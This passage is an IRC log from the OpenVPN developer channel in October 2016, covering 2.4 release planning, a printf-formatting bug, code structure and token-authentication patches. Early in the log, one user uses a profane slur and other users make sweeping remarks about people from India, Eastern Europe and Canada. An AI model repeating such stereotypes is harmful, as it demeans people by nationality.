them all the same but what we actually see is a bit different. 21:03 <@ecrist> time is the most notable 21:03 <@ecrist> back in primary and secondary school, time too FOR-EV-ER 21:03 <@ecrist> now, I blink and a week has gone 21:03 <@ecrist> blink twice and October is over 21:03 < slypknot> the good old days 21:04 < slypknot> everybody gets that 21:04 < slypknot> if only i knew then what i know now 21:04 < slypknot> and : if only i new then what i now know 21:04 < danhunsaker> Perspective based on age. The fraction of your experiences which is "a second" is considerably smaller now than that same ratio as a child. 21:05 < slypknot> and : if only i new then what i now know 21:05 < slypknot> the ghosts of my life .. 21:08 < slypknot> do you ever watch BBC Horizon ? 21:08 < slypknot> it is one of there better shows 21:09 < slypknot> there was this excellent show about how what we expect to percieve completely overrides what we actually percieve 21:09 < slypknot> even throwin a ball in the air is enough to fool 99 21:09 < slypknot> % of people 21:10 < slypknot> like throwing a ball to a dog .. and not actually throwing it 21:10 * slypknot woof 21:11 < slypknot> ring any bells ...... ? 21:11 < slypknot> hmm .. perhaps .. forum mod 21:11 < slypknot> lmfao 21:12 < slypknot> i am trying to remember who experimented on the dogs with bells ? 21:15 < slypknot> pavlov 21:15 < slypknot> cunt 21:16 < slypknot> sometimes .. you gotta show some respect to the dog or else get bitten 21:17 < slypknot> and now we come full circle 21:18 < slypknot> 20:23:05 @ecrist | and it begins... 21:19 < slypknot> what does that mean .. ? 21:20 < slypknot> ahh .. chill .. i already know .. just thought it ripe to dig it up 21:27 < slypknot> .. 21:28 < slypknot> sometimes the forum posts are so fucking dumb even i am shocked these people have jobs 21:28 < slypknot> the division bell ringeth 21:29 < Thermi> Oh yes, I have that a lot 21:29 < Thermi> <- strongswan support person 21:29 < Thermi> (largely) 21:29 < slypknot> brave new (and totally fucked up) world 21:29 < slypknot> hey thermi :) 21:29 < slypknot> its like somebody got a labotomy as a job requirement 21:29 < Thermi> I find it remarkable that the majority of uninformed people seem to come from india 21:30 < Thermi> and some come from the former east block of europe and speak poor english 21:31 < slypknot> actually i am surprised their english is so good and their understanmding of any basic networlin is so bad 21:32 < slypknot> https://forums.openvpn.net/viewtopic.php?f=6&t=22615 21:32 <@vpnHelper> Title: Pings from client are NATed and I don't understand why - OpenVPN Support Forum (at forums.openvpn.net) 21:33 < Thermi> > Firewall (iptables) is basically empty and all policies are allow 21:33 < Thermi> Trololol iptables -L used? :D 21:33 < slypknot> trololol 21:33 < slypknot> got that in abundace 21:33 < Thermi> same 21:33 < slypknot> the troll bit 21:33 < slypknot> sticky 21:35 < slypknot> i will have to look into strongswan a bit more .. cos i know you have made some good contribs to openvpn 21:35 <@ecrist> At work I interact with a lot of folks from India. Initially, I was pretty prejudiced, but I'll be honest, where many of them lack deep knowledge, if you can lead the down the path, they generally have an extremely good work ethic. 21:36 <@ecrist> Most that I work with get really frustrated if they don't complete something to my standard and work very hard to ensure it doesn't happen again. 21:36 < slypknot> ecrist: i wqent to canada and they told me i was the wrong colour .. not fkn indian enough ! 21:36 <@ecrist> Thermi: Has IPSec solved the remote endpoint drifting IP bit? 21:36 <@ecrist> slypknot: BS 21:36 < Thermi> ecrist: please elaborate? 21:36 <@ecrist> I've been to canada, and you don't get whiter than me 21:37 <@ecrist> I've never been told that. 21:37 < slypknot> bank of nova scotia 21:37 <@ecrist> Thermi: I've avoided IPSec in most installations where one end point wasn't a static IP 21:37 <@ecrist> s/one/either of the two/ 21:37 < danhunsaker> Oddly, I've been all sorts of countries, but never either of my neighbors. 21:38 < slypknot> canada is as racist as texas 21:38 * ecrist cautions slypknot 21:39 < slypknot> it was my RL experience 21:39 < Thermi> ecrist: mobike + dpd + uniqueness policy. With IKEv2, you don't need agressive mode stupidness anyway and charon can do a dynamic IP lookup based on DNS names. But there's an obvious race condition with the latter because of DNS caching and DNS record TTLs. 21:40 <@ecrist> does DNS have to be involved at all? 21:41 < Thermi> ecrist: depends on the scenario. 21:41 <@ecrist> hrm 21:42 <@ecrist> I'll build an OpenVPN network around your castle, in the dark, but I'm pretty n00b with IPSec 21:42 <@ecrist> a somewhat embarassing defficiency, imho 21:42 <@ecrist> that said, I've only been doing OpenVPN for about 11 years 21:43 < danhunsaker> Heh. 21:44 * slypknot apologieses to all indian .. but not so much to canadians 21:46 < Thermi> well, it's never to late to learn 21:46 < danhunsaker> It is when you're dead... 21:46 <@ecrist> Thermi: when I'm done writing OpenVPN book #2, I might 21:47 <@ecrist> for the record, writing books sucks - don't let anyone tell you different 21:47 < danhunsaker> Heh. It certainly does. 21:48 < danhunsaker> Hence why I haven't finished any. 21:49 < Thermi> ecrist: Why the books? 21:50 < danhunsaker> We could certainly use them, from my PoV... 21:50 <@ecrist> Thermi: what do you mean? 21:50 <@ecrist> I co-authored one with JJK 21:50 < Thermi> ecrist: Why did you start writing the book at all? 21:50 < slypknot> Writubg books sucks .. and there would be NO modern civilisation without books ... 21:50 < slypknot> c'mon 21:51 <@ecrist> because JJK asked and the publisher has a wallet 21:51 <@ecrist> the second one because I'm a competitive alpha male and my wife called me a pussy for not accepting the second one "because this would be on your own" 21:51 <@ecrist> <--- victim 21:53 <@ecrist> Thermi: in all honesty, I thought it was a cool feather to put in my hat (read resume) 21:53 <@ecrist> and, since it's not some silly self-published thing, something legit I could claim 21:53 <@ecrist> also, my wife is right and I will hate her for it until I die. :) 21:55 < Thermi> ecrist: got it. 21:55 <@ecrist> I don't mean to sound so negative. I'm in the middle of writing the second and it does ruin my evening/weekends 21:56 <@ecrist> even if I say "fuck it" and do my own thing (i.e. procrastinate) it's in the back of my mind and something that needs to be done. So my "own thing" is tainted by the looming task at hand. 21:56 <@ecrist> :) 21:56 < slypknot> write a decent "rules for the forum" 21:56 <@ecrist> I did 21:56 < Thermi> I know that feeling. I finished by bachelor thesis at the end of september. :) 21:56 <@ecrist> I wrote a really nice javascript config parser 21:57 < Thermi> And I contributed some documents to the strongSwan wiki, but we still need some more to keep people from doing stupid shit unknowingly. 21:58 < slypknot> ^^bla bla 21:59 < slypknot> ecrist: you deleted the rules 21:59 < slypknot> i had to write my own 21:59 <@ecrist> slypknot: the code, if used, replaced the rules 22:01 < slypknot> Thermi: i apologies for this interruption 22:01 < slypknot> ecrist: you deleted the rules 22:01 < Thermi> slypknot: don't care 22:01 < slypknot> ok .. this can go to email .. 22:02 <@ecrist> slypknot: so, devise some new ones and I'll get them posted. 22:02 <@ecrist> Nobody read the old ones anyhow. 22:02 < slypknot> will do 22:02 < slypknot> at least they were there 22:02 < slypknot> chill .. no big deal 22:02 <@ecrist> If they're aggressive, rude, racist, or similar, I might just ban _you_ instead of posting the rules, though. ;) 22:03 < slypknot> carry on 22:06 < slypknot> 5000+ replies and only a habdful of trolls answered .. 22:06 < slypknot> i think i can cope 22:08 < slypknot> sorry for interrupting the flow 22:11 < slypknot> FYI: the forum is visited by all sorts .. many who simply do not understand what is going on with openvpn .. so having at least one set of rules gives many of them at least one place to start .. even if they doid not see them at the start .. i think many of YOU have forgotten much of where you Really started 22:12 -!- slypknot was kicked from #openvpn-devel by ecrist [that's 1] 22:49 < danhunsaker> ecrist: I really should take your cue on ignoring people a lot faster. 22:49 -!- Irssi: #openvpn-devel: Total of 25 nicks [8 ops, 0 halfops, 1 voices, 16 normal] 22:53 < danhunsaker> (reference to events in #openvpn, by the way... Not here.) --- Day changed Thu Oct 13 2016 02:38 <@mattock> cron2: do you have a proposal for fixing the t_client_ips.rc not found thing for out-of-tree builds? 02:38 <@mattock> just not fail if t_client_ips.rc is not found? 03:59 <@cron2> mattock: not the .rc is failing, but the path to the --up script is wrong 03:59 <@cron2> just run and see :) 04:21 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer, @vpnHelper, @dazo, @cron2, danhunsaker, s7r, +krzee, @mattock 05:13 -!- Netsplit over, joins: s7r, danhunsaker, @syzzer, +krzee, @mattock 05:13 -!- ServerMode/#openvpn-devel [+oovo syzzer d12fk krzee mattock] by adams.freenode.net 05:13 -!- Netsplit over, joins: @cron2, @vpnHelper 05:14 -!- Netsplit over, joins: @dazo, @plaisthos 05:14 -!- Netsplit *.net <-> *.split quits: @plaisthos, @syzzer, @vpnHelper, @dazo, @cron2, danhunsaker, s7r, +krzee, @mattock 05:32 -!- syzzer [~syzzer@openvpn/community/developer/syzzer] has joined #openvpn-devel 05:32 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 05:32 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 05:32 -!- ServerMode/#openvpn-devel [+oovo syzzer d12fk krzee mattock] by adams.freenode.net 05:32 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 05:32 -!- vpnHelper [~vpnHelper@openvpn/bot/vpnHelper] has joined #openvpn-devel 05:32 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 05:32 -!- s7r [~s7r@openvpn/user/s7r] has joined #openvpn-devel 05:32 -!- danhunsaker [sid145261@openvpn/corp/danhunsaker] has joined #openvpn-devel 05:32 -!- ServerMode/#openvpn-devel [+ooo cron2 vpnHelper plaisthos] by adams.freenode.net 05:32 < dazo> finally a channel with some people :) 05:34 < dazo> NickServ seems to be overloaded :-/ 05:36 -!- dazo is now known as Guest40439 05:36 -!- Guest40439 [~dazo@openvpn/corp/developer/dazo] has joined #openvpn-devel 05:36 -!- mode/#openvpn-devel [+o Guest40439] by ChanServ 05:36 <@plaisthos> re dazo 05:37 <@plaisthos> :) 05:37 <@Guest40439> *grmbl 05:37 <@Guest40439> -NickServ- You failed to identify in time for the nickname dazo 05:38 <@plaisthos> Guest40439: your host betrays you 05:38 <@plaisthos> Guest40439 [~dazo@openvpn/corp/developer/dazo] has joined 05:38 <@Guest40439> bloody hell .... if nickserv would accept my identify with a proper response time .......... 05:38 -!- Guest40439 is now known as dazo 05:38 <@dazo> there! 06:31 < slypknot> . 07:06 <@cron2> we should see that 2.4.0 is done end of 2016, to make the next debian version 07:06 <@dazo> \1 07:06 <@dazo> +1 07:07 <@dazo> what's the state on 2.4.0 as of now? 07:07 <@plaisthos> ready to ship 07:07 <@plaisthos> *ducks* 07:07 <@plaisthos> only needs a version=2.4.0 commit 07:07 <@dazo> I think we're fairly ready to start thinking about 2.4_alpha1 for now 07:07 <@dazo> :) 07:07 <@plaisthos> https://community.openvpn.net/openvpn/wiki/StatusOfOpenvpn24 07:07 <@vpnHelper> Title: StatusOfOpenvpn24 – OpenVPN Community (at community.openvpn.net) 07:08 <@plaisthos> I think the first must have is resolved 07:08 <@d12fk> is the win crash fixed already? because i have time to look at it finally 07:08 <@cron2> dazo: read up meeting minutes :-) 07:08 * d12fk reading 07:09 < valdikss> Hi guys, unrelated question. Is there a way to open block device by MAJOR/MINOR directly without creating it as a file? 07:09 <@cron2> d12fk: read mail - I nailed it and sent a patch last weekend 07:09 <@d12fk> will do right away 07:09 <@cron2> valdikss: not that i'm aware of 07:09 <@dazo> so it's basically the windows multi-tap issue left? 07:10 <@cron2> testing 07:10 <@dazo> I had the impression windows testing was in a reasonably testable shape (but not yet fully automated) 07:10 <@cron2> merging v2 now that we got a number of üositive test reports 07:11 <@plaisthos> .oO(fat fingers on German keyboard detected!) 07:11 <@cron2> I have about 10 scenarios that I can test in "script-assisted" way 07:12 <@cron2> tablet typing... 07:14 <@cron2> 2.4_alpha1 could happen like tomorrow... 07:14 * plaisthos looks on his own ics-openvpn tree for unmerged patches 07:15 <@d12fk> cron2: so openvpn_snprintf() uses something different under the hood than argv_printf()? that's broken then., isn't it? 07:15 <@d12fk> have you looked into the actual root cause of this? 07:16 <@cron2> argv_printf is not a sprintf() replacement, because it also does argv splitting 07:16 * d12fk shrugs 07:16 <@cron2> it does not do mixed formats like 'foo=%s' 07:16 <@d12fk> so it claims printf but isn't... hm 07:17 <@d12fk> will be reading up code on this. i think we need to fix this 07:18 <@cron2> splitting and full printf support is non-trivial... and not usually needed for argv stuff 07:35 <@d12fk> ah ok interface=%lu is not considered to be processed because it doesn't start with a % 07:36 <@d12fk> so, argv_printf is broken/misleading 07:38 < slypknot> Does this Pre-alpha1 installers with the "Windows: do_ifconfig() after open_tun()" patch version include AES-NI engine ? 07:39 <@cron2> no engine needed for aesni 07:40 <@cron2> d12fk: right 07:40 <@cron2> d12fk: and possibly not even understanding %lu 07:41 <@cron2> have not fully dug through that code yet - ran out of time 07:42 < slypknot> The problem i am seeing is accordinmg to microsoft processor identification my cpu has aes-ni, cpu-z my cpu has aes but according to openvpn/openssl "cannot load engine aes-ni" .. so i get the impression M$ are just flat out lying to me .. (sorry for interruption) 07:43 <@cron2> no engine (=sort of plugin in separate library) needed for aesni 07:43 <@d12fk> not the interface=%lu part is just appended without actually processing it, that causes the wrong datatype (the index) to be passed to %s from ifconfig_ipv6_local 07:44 <@cron2> d12fk: yep 07:44 <@d12fk> so we should mark the spaces, do the printf and split the result instead 07:44 <@d12fk> will probably also be easier to understand 07:45 <@cron2> d12fk: after spotting this i did not look closer if it us %lu, or somethin=%... that is not supported 07:45 <@d12fk> very tricky issue to run into 07:45 <@cron2> tricjy to debug as it exploded in a totally unexcpected place 07:46 <@cron2> sorry for the typing 07:46 <@d12fk> yup 07:46 <@plaisthos> when I saw the stacktrace I saw nothing obvious that should be wrong ... 07:46 <@d12fk> will come up with a patch, so i don't break this again in the future 07:47 <@d12fk> post 2.4 07:47 <@cron2> sounds good 07:48 <@plaisthos> when 2.4 comes out, I bet some people ask me when the android client will move to 2.4 07:49 <@cron2> haha 08:32 <@plaisthos> wtf! 08:32 <@plaisthos> my ipv6 iperf data rate is 17 Mbit/s 08:32 <@plaisthos> oh 08:32 <@plaisthos> ipv4 has the same problem 08:39 <@plaisthos> *grumbels, kvm defaulted to an emulated rtl8139* 08:40 <@plaisthos> seem these are even crap when emulated compared to an emulated e1000 08:40 <@syzzer> :') 08:40 <@plaisthos> the emulated e1000 gets in the hundered of mbits ... 08:41 <@plaisthos> virtio driver: 928 Mbit/s 08:42 * syzzer still needs to figure out how to get his Windows VM to boot with the virtio disk driver 08:42 <@plaisthos> changing that is difficult 08:42 <@plaisthos> it is easier just to install it directly with a virtio driver 08:43 -!- cron2 [~hunger@openvpn/community/developer/cron2] has quit [Read error: Network is unreachable] 08:43 <@plaisthos> with a 2nd cd drive and the virtio driver cd in it 08:43 <@syzzer> meh, don't want to reinstall. but haven't been able to continue my quest for the past 2 hours, because windows is "Checking for updates..." 08:45 <@mattock> based on my current windows testing + reports from several other people 2.4-alpha1 seems quite feasible: 08:45 <@mattock> https://community.openvpn.net/openvpn/wiki/OpenVPN24WindowsTests 08:45 <@vpnHelper> Title: OpenVPN24WindowsTests – OpenVPN Community (at community.openvpn.net) 08:45 <@mattock> I will run through some additional tests, but looking perfect so far 08:50 <@plaisthos> the 2.4 alpha installer just worked fine for me on my fresh win 10 install 08:51 <@plaisthos> I just needed a VPN on there and just took the 2.4alpha1 installer link from mattock's email 08:51 <@mattock> plaisthos: ok, great! 08:52 <@plaisthos> btw. one thing I miss is that on double click the beviour should ask to import it 08:52 <@plaisthos> and not start notepad 08:54 <@plaisthos> and why is our config folder /Users/user/OpenVPN/config instead of %APPDATA%/openvpn/config? 08:54 <@plaisthos> like a proper windows app? 10:20 <@plaisthos> the readme that is shown on first start is horribly outdated 10:51 <@mattock> yes, that will be fixed 10:56 <@dazo> plaisthos: I hope you won't hate me now :-P 10:57 <@dazo> oh my .... *grrrr* enigmail made it horrible 10:57 * dazo resends 10:58 <@syzzer> dazo: this timeout improvement you did to t_client, would that also speed up t_cltsrv ? 10:59 <@plaisthos> dazo: no problem 10:59 <@plaisthos> I also did what syzzer does 10:59 <@plaisthos> forgetting documentation 11:00 <@plaisthos> I have Changelog but forgotten the manpage 11:00 <@plaisthos> so I need a v5 anyway 11:00 <@dazo> syzzer: nope, only t_client.sh.in was modified 11:00 <@dazo> plaisthos: ahh good :) 11:00 <@syzzer> hehe, but I'm recruiting someone in #openvpn to fix the man page ;) 11:02 <@syzzer> dazo: mail looks fine in both my gmail and thunderbird interfaces 11:02 <@syzzer> dazo: could you do the same magic to t_cltsrv.sh O-) 11:03 <@dazo> syzzer: really? all the patch lines are completely destroyed (at least in Thunderbird) 11:04 <@syzzer> oh, you're right, I just looked at your comments :') 11:12 <@dazo> :) 11:15 <@dazo> so syzzerm what kind of magic do you want? ;-) 11:16 <@dazo> syzzer: replacing the sleep 150? 11:18 <@syzzer> yes, the "don't wait forever for something that should only take a second" 11:21 <@vpnHelper> RSS Update - gitrepo: Check --ncp-ciphers list on startup <https://github.com/OpenVPN/openvpn/commit/dc4fa3c4656b92aff3f26d4134c509410add142e> || Change the hold command to communicate the time that OpenVPN would wa… <https://github.com/OpenVPN/openvpn/commit/396d30c264e6cb6b9f57c3e566f3b71879999662> 11:28 <@dazo> syzzer: it might be the --ping-exit 180 which makes it "slower" :/ 11:33 <@ecrist> mattock: I see archive.openvpn.net exists now - but it seems to point at something other than the forums box. 11:34 <@plaisthos> dazo: for the noop stuff 11:35 <@plaisthos> we have in tun.c the #if os cascade 11:35 <@plaisthos> and the last case is /* generic */ 11:35 <@plaisthos> And that defaults to non ipv6 capable 11:35 <@plaisthos> do we have something that falls into that? 11:38 * dazo looks 11:40 <@dazo> plaisthos: I doubt so ... maybe that should rather just be an #error instead? 11:40 <@plaisthos> the generic part of tun.c? 11:41 <@dazo> #else 11:41 <@dazo> msg (M_FATAL, "Sorry, but I don't know how to do 'ifconfig' commands on this operating system. You should ifconfig your TUN/TAP device manually or use an --up script."); 11:41 <@dazo> #endif 11:41 <@dazo> I mean, what's the point of compiling openvpn without support for configuring a tun/tap adapter? (yeah, I know it is possible, but not really that common ... unless I'm overlooking a detail) 11:42 <@plaisthos> err, screw it 11:42 <@dazo> well, --up script is possible though 11:42 <@dazo> or did you mean another section, plaisthos ? 11:42 <@plaisthos> I decided that generic OS has IPv6 capable tun devices 11:42 <@dazo> yes 11:42 <@dazo> we live in the modern days ;-) 11:42 <@plaisthos> other section 11:42 <@plaisthos> tun.c the bottom of the file 11:42 <@plaisthos> last 20 lines 11:44 <@plaisthos> dazo: you marked my removing of 20 lines of code as white space issues :O 11:47 -!- cron2 [~hunger@openvpn/community/developer/cron2] has joined #openvpn-devel 11:47 -!- mode/#openvpn-devel [+o cron2] by ChanServ 11:47 <@cron2> re 11:47 <@plaisthos> re 11:51 <@plaisthos> I will just remove the references to the tap driver versions 11:51 <@plaisthos> anyone how manages to upgrade to a pre 2.2 driver is stupid after getting driver to old from 2.4 version is stupid 11:53 <@dazo> cron2: I took care of the two latest acks 11:53 <@cron2> plaisthos: makes sense 11:54 <@dazo> plaisthos++ 11:59 <@plaisthos> if that patch is accept I am using an almost prinstine openvn master branch :) 12:03 <@dazo> cron2: got a little bit time to discuss the --auth-gen-token patches? 12:04 <@dazo> I'm about to sqeeze commits and mail to ML ... it's 9 patches now, just wondering how fine-grained we want the commits .... I don't think we should have it too coarse, but we can certainly reduce the amount 12:37 <@cron2> dazo: no brains today... it was a long day, meeting all day and being alone with the kids in the evening 12:37 <@cron2> I think everything that makes sense on its own and does not break anything is a good unit 12:39 <@cron2> like, preliminary refactoring, main patch, additional bells and whistles - stuff that can be tested on its own 12:49 <@dazo> yeah, I have found a reasonable groups I think ... adding the --auth-gen-token option, generating tokens+push to client and authenticating tokens 12:50 * dazo will check that each patch compiles individually 12:57 <@cron2> that helps should we need to bisect one day 12:57 <@cron2> (I'd say "is a requirement" :) - every patch on its own should compile and pass basic tests) 13:15 <@dazo> yeah, agreed 15:09 <@dazo> interesting how sf.net mailman processes mails .... patch 0/5 was sent too, but haven't arrived yet 15:09 <@dazo> it was even sent first 15:10 * dazo calls it a day 19:14 * ecrist still thinks perforce with git-swarm might be a good thing 19:14 <@ecrist> re: people crying about code review/patches 19:15 <@ecrist> I might just get a perforce server and do the integration on my own, just as an exercise. --- Day changed Fri Oct 14 2016 01:30 <@cron2> "nobody understands the code" or "nobody has time to do a proper review" isn't helped by "adding a new web frontend" 03:12 <@dazo> syzzer: thx for the conditional ACK .... regarding inline, I'll comply with your wishes - being explicit is a good reason ... but I vaguely remember having read that inline often is a no-op, as the compiler often does that kind of optimization on its own. 03:15 <@cron2> it can do that, but a stupid compiler would change your code into "one copy of this goes into every single .o file", so this is certainly not the way to do things - non-inline functions never go into .h files 03:15 <@dazo> Hmmm ... might be C++ specific .... "As required by ISO C++, GCC considers member functions defined within the body of a class to be marked inline even if they are not explicitly declared with the inline keyword. You can override this with -fno-default-inline; see Options Controlling C++ Dialect. " 03:15 <@dazo> https://gcc.gnu.org/onlinedocs/gcc/Inline.html 03:15 <@vpnHelper> Title: Inline - Using the GNU Compiler Collection (GCC) (at gcc.gnu.org) 03:16 <@dazo> "GCC does not inline any functions when not optimizing unless you specify the ‘always_inline’ attribute for the function ..." 03:17 <@cron2> we should not rely on gcc/clang features here to "do the right thing", but instead just tell the machine what we want - "this is in the hot path and called zillion times, so "static inline in the header" or it's abog standard normal function which is called 10 times per OpenVPN run -> it goes to misc.c, and the prototype goes to the header" 03:18 <@dazo> fair enough 03:19 <@cron2> I have no idea which of these applies to this function :) 03:19 <@syzzer> what cron2 said (except that I think crypto.c is a more natural place for constant-time memcmp) 03:19 * dazo need to wake up a bit more :) 03:19 <@syzzer> or crypto.h, ofc :) 03:20 <@syzzer> since it's called for each packet we send/receive, I would say crypto.h 03:20 <@dazo> yeah ... which is what I generally did 03:20 <@syzzer> exactly :) - just wanted to mention it because cron2 suggested misc.c 03:21 <@dazo> :) 03:21 <@cron2> syzzer: for every packet defintiely qualifies for crypto.h and "static inline" ;-) 03:22 <@cron2> the module hierarchy "where do generally-useful functions go" inside openvpn is not always clear to me 03:22 <@cron2> I've put stuff "somewhere" in the past, just to have James move it somewhere else :) 03:24 <@dazo> we need to introduce uncategorized.[ch] where all new functions are added to, and then the OpenVPN Categorization Committee will discuss and move new functions to the proper place </snark> ;-) 03:24 <@syzzer> I think that the fact that we have a 'misc.c' illustrates perfectly that we don't have a place for everything ;) 03:25 <@dazo> :) 03:26 < Thermi> When are you going to start to cleanup your code? :> 03:26 <@cron2> we're busy introducing new ugliness!!! 03:27 <@dazo> we're too busy intro..... ;-) 03:27 <@syzzer> hehe, I think I've sent at least a dozen patches that start with 'cleanup: ...' 03:28 <@dazo> hehe 03:28 <@syzzer> but these cron2 and dazo guys keep introducing uglyness :( 03:28 <@dazo> hahahaha 03:28 <@syzzer> me, I just introduce bugs 03:28 < Thermi> While reading the source, I noticed that the namespace is very flat. Everything is in a global namespace, althought you could have used a concept of classes to put stuff belonging together into a common object. 03:28 <@dazo> syzzer: regarding moving to the new C99 stuff .... I'll let it be for now, the code works and it would be outside the scope of "move this function from here to there" 03:28 <@cron2> syzzer: but your bugs are certainly nice and shiny 03:29 * cron2 wonders what Thermi is talking about... this is C, which only has a global name space 03:29 <@syzzer> dazo: sure, as I said, feel free to ignore that remark 03:30 <@dazo> Thermi: that's generally that the code is from early 2000 ... and the v1.0 series didn't handle multiple clients .... and everything happened since that time is still building upon the layout of the 1.0 days 03:30 < Thermi> cron2: I know that. Take a look at the strongSwan source code. In the code, a lot of the functions are methods that are assigned to a struct, which is then typecast. :) 03:31 <@dazo> cron2: yeah ... but a lot of the functions could be better prefixed to group things better 03:31 < Thermi> cron2: So you never call foo(bar), but bar->foo(bar) 03:31 <@dazo> ehhh 03:31 <@syzzer> Thermi: oof, talking about uglyness :') 03:31 <@cron2> which tremendously increases readability... 03:32 <@syzzer> though we *should* probably improve the structure, or just move to ovpn3 03:32 <@dazo> Thermi: putting functions into structs have another security aspects ... it's far easier to manipulate function pointers than core function addresses 03:32 * cron2 tried to understand NetBSD kernel code last weekend, which does exactly this for their socket handling functions - which is nice and elegant, but if you have no idea what *could* go there, tracing function calls to see where a function would end up returning EINVAL is nearly impossible... 03:32 < Thermi> Well, right now, in openvpn source code, you probably have foo(bar), foo_2_does_something_different(bar), ... 03:32 <@cron2> Thermi: no 03:33 <@dazo> Thermi: so to avoid that, you need to have some canary stuff into the structs, validate those .... which can complicate things 03:33 <@cron2> I do not think we have many "object" things that could have different ->foo() methods - maybe the ->encrypt() / ->decrypt() bits 03:33 <@dazo> tun/tap->read/write() .... udp/tcp->read/write() 03:34 < Thermi> dazo: Why bother? ASLR, WXORX, Stack Canaries should be sufficient 03:34 < Thermi> and lots of valgrind(!) :D 03:34 <@cron2> dazo: there is only one read()/write() call ever... 03:34 <@cron2> dazo: you won't have a tun object that can have different read() calls that get set at runtime 03:35 <@syzzer> Thermi: no, is you have a struct { arr_a[], funcptr } and arr_a overflows, I'm overwriting the function pointer 03:35 <@cron2> (I can see "method pointers" make lots of sense if you have different ->bar() methods depending on the object type - but this is not what we typically have) 03:36 <@syzzer> anyway, the C way to fix this is to just prefix your function names 03:36 <@syzzer> bar_foo(bar) 03:37 <@dazo> most of it is already nicely arranged like that as well .... if you look into the socket.[ch] code .... linke_socket_read/write() .... etc 03:37 <@syzzer> (which is what I've been doing in the crypto bits ;) ) 03:37 <@dazo> s/linke_/link_/ 03:37 <@dazo> yeah 03:38 < Thermi> syzzer: Ah, you mean that. Yes, that would overwrite it. But strongSwan solved that by solving writing and writing from/to arrays generally with methods, so users don't need to do that by themselves 03:38 <@dazo> Thermi: what you are describing is basically what the openvpn3 code base does 03:39 < Thermi> dazo: I haven't read it yet, but it sounds good. 03:39 <@dazo> (but it's a re-implementation in C++) 03:41 <@cron2> with objects, namespaces, and methods! 03:41 < Thermi> !!!! 03:41 < Thermi> !!!FUN!!! 03:41 <@cron2> and templates, and all the other mind-blowing bits of a much newer language :-) 03:42 <@dazo> and some boost stuff too 03:43 <@cron2> that really boosts memory usage on compilation :) 03:44 <@dazo> heh 03:45 <@cron2> I've had "low mem" VMs blow up on me trying to compile boost stuff :-) (like, 512M BSD boxes) 03:45 <@dazo> C++ compilation is generally quite a memory intensive exercise 03:45 < Thermi> That reminds me that dracut doesn't run on CentOS 7 VMs with low memory 03:45 < Thermi> :D 03:46 < Thermi> or what it was 03:46 < Thermi> I think it was dracut 03:46 < Thermi> so no initramfs for meeeee 03:46 <@dazo> ehh ... whoops 03:46 < Thermi> The VM uses like 80 MB of RAM during usage, BUT WHEN DRACUT COMES, IT TAKES IT ALL 03:47 < Thermi> You know, my boxes do all sorts of heavy crypto, because of the VPN stuff, but then stuff like squid and other HTTP crap do enormeous amouns of caching and processing, that it eats ridiculous amounts of memory for uncritical stuff 03:48 <@syzzer> dazo: please forgive me my nagging O-) 03:49 <@dazo> syzzer: bring it on! .... nagging hopefully makes me improve! ;-) 03:49 <@syzzer> dazo: oh, I forgot to mention in my 2/5 reply: Changes.rst ? 03:50 <@dazo> yeah, right! I thought about it yesterday ... and forgot about it :-P 03:50 <@cron2> *g* 03:53 <@vpnHelper> RSS Update - gitrepo: Move memcmp_constant_time() to crypto.h <https://github.com/OpenVPN/openvpn/commit/b891e57e1fe794483c08296e32c15751f2676a2d> 03:55 <@dazo> +The 03:55 <@dazo> +.B lifetime 03:55 <@dazo> +argument defines how long the generated token is valid. The 03:55 <@dazo> +lifetime is defined in seconds. If lifetime is not set 03:55 <@dazo> +or it is set to 0, the token will never expire. 03:55 <@dazo> + 03:55 <@dazo> syzzer: ^^ okay? 03:56 <@syzzer> yes, perfect 03:57 <@cron2> dazo: if you change actual *code* when committing, I think it would be good to attach the final patch to the "it was committed" mail 03:57 <@cron2> from the mailing list, it's not really clear what went into the tree now 04:03 <@dazo> right ... I should have added that comment in the mail as well! 04:03 <@dazo> It's in the commit log, though 04:03 <@dazo> but agreed! 04:06 <@plaisthos> I removed one option and dazo adds a new one 04:06 <@plaisthos> it is like a hdyra 04:07 <@dazo> hahaha 04:07 <@dazo> plaisthos: but we're both improving things! ... I hope :) 04:08 <@dazo> please don't tell me that Enigmail encrypted the mail to the ML ......... 04:08 <@vpnHelper> RSS Update - tickets: #751: When erasing secrets, use a memset() that's not optimized away <https://community.openvpn.net/openvpn/ticket/751> 04:09 * dazo facepalm 04:09 <@plaisthos> dazo: it has 04:10 * cron2 is not telling dazo that Enigmail encrypted the mail to the ML 04:10 <@cron2> (he'll notice) 04:10 <@plaisthos> Excuse me, Mister Sommersteth, but I cannot read the me you send me, can you kindly provide with the gpg key 0xB1D07F3E0603185C? 04:11 <@dazo> hahaha 04:11 <@dazo> plaisthos: sure!!!! ;-) 04:11 < Thermi> Whose key is that? 04:11 <@dazo> mine 04:11 <@cron2> so you actually *could*, you're just not cooperating! 04:12 <@dazo> yeah ... I'm quite a bastard when it comes to cooperation .... ;-) 04:12 < Thermi> why the hell would enigmail use your own key to encrypt outgoing mail? :D 04:13 <@cron2> cc: $myself 04:13 <@dazo> yeah 04:15 <@dazo> Enigmail used to be fairly trivial ... but lately it has begun to do strange things from time to time .... unless it's just PEBKAC issues due to too little sleep << that wouldn't come as a surprise either 04:29 <@syzzer> the guy who was willing to send manpage improvements gave up on us because we don't do pull requests :( 04:30 <@cron2> I thought we do, at least for the initial review? 04:31 <@syzzer> yeah, but this guy simply refused to send anything to the mailing list at all 04:31 <@syzzer> and he would be going to send multiple patches, which I didn't plan on proxy'ing 04:46 <@dazo> I agree that we can consider and discuss alternative paths for documentation stuff .... but until we have that figured out, we should keep to the current workflow ... it is also good to have proper reviews of documentation too 05:28 <@dazo> Hmmm ... either buildbot slaves are behaving properly ... or buildbot failure reports are caught by a spam filter ..... 05:30 <@plaisthos> if os x does not report failing test 4 or 4a something is off :) 05:31 * cron2 wonders if buildbot didn't pick up the commit 05:31 <@cron2> "no failure reports here" 05:45 <@dazo> It was silent yesterday as well 05:49 <@cron2> lets see... 05:53 <@cron2> two tincan bots are offline, and the rest is ALL GREEN 05:53 <@cron2> how could that happen? 05:58 < slypknot> told you cron2 .. my HyperV had a RAM go tits-up .. I am waiting for new RAM 05:59 < slypknot> the deb8 BB is running on a separate 